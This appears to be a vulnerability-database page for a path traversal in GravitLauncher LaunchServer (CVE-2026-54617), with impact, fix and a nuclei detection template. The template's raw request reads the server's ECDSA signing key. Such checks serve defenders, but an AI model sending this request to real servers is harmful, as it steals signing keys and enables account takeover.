HexBrain

Browse / CVEs / CVE-2026-54617

CVE-2026-54617· gravitlauncher / launchserver· CWE-22

GravitLauncher LaunchServer <=5.7.11 - Unauthenticated Path Traversal to Arbitrary File Read

criticalseverity
9.8CVSS score
3.5%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

LaunchServer's Netty FileServerHandler computes the served path by stripping one leading character on the assumption that every request-target begins with '/'. Netty's HttpServerCodec accepts a request-target without a leading slash verbatim, so a request without a leading slash bypasses path normalization and escapes the updatesDir. The file server is enabled by default (netty.fileServerEnabled=true) on 0.0.0.0:9274 with no authentication, allowing an unauthenticated remote GET to read any file readable by the LaunchServer process including its own ECDSA signing key (.keys/ecdsa_id), which signs access JWTs and enables full authentication bypass for any account.

Impact

An unauthenticated attacker can read arbitrary files including the ECDSA signing key, enabling them to forge access JWTs and bypass authentication for any account.

Fix

Upgrade GravitLauncher LaunchServer to a version newer than 5.7.11.

How to confirm it

Send: GET ../../.keys/ecdsa_id
Positive when: contains(hex_encode(body), "3041020100301306072a8648ce3d020106082a8648ce3d0301070427302502010104") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-54617 -u <target>

The full check
id: CVE-2026-54617

info:
  name: GravitLauncher LaunchServer <=5.7.11 - Unauthenticated Path Traversal to Arbitrary File Read
  author: str4k3r
  severity: critical
  description: |
    LaunchServer's Netty FileServerHandler computes the served path by stripping one leading character on the assumption that every request-target begins with '/'. Netty's HttpServerCodec accepts a request-target without a leading slash verbatim, so a request without a leading slash bypasses path normalization and escapes the updatesDir. The file server is enabled by default (netty.fileServerEnabled=true) on 0.0.0.0:9274 with no authentication, allowing an unauthenticated remote GET to read any file readable by the LaunchServer process including its own ECDSA signing key (.keys/ecdsa_id), which signs access JWTs and enables full authentication bypass for any account.
  impact: |
    An unauthenticated attacker can read arbitrary files including the ECDSA signing key, enabling them to forge access JWTs and bypass authentication for any account.
  remediation: |
    Upgrade GravitLauncher LaunchServer to a version newer than 5.7.11.
  reference:
    - https://github.com/GravitLauncher/Launcher/security/advisories/GHSA-5g75-477j-2c2f
    - https://github.com/GravitLauncher/Launcher/commit/1e0b3a3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 9.8
    cve-id: CVE-2026-54617
    epss-score: 0.03457
    epss-percentile: 0.89134
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: gravitlauncher
    product: launchserver
  tags: cve,cve2026,gravitlauncher,launchserver,path-traversal,unauth

http:
  - raw:
      - |+
        GET ../../.keys/ecdsa_id HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(hex_encode(body), "3041020100301306072a8648ce3d020106082a8648ce3d0301070427302502010104")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from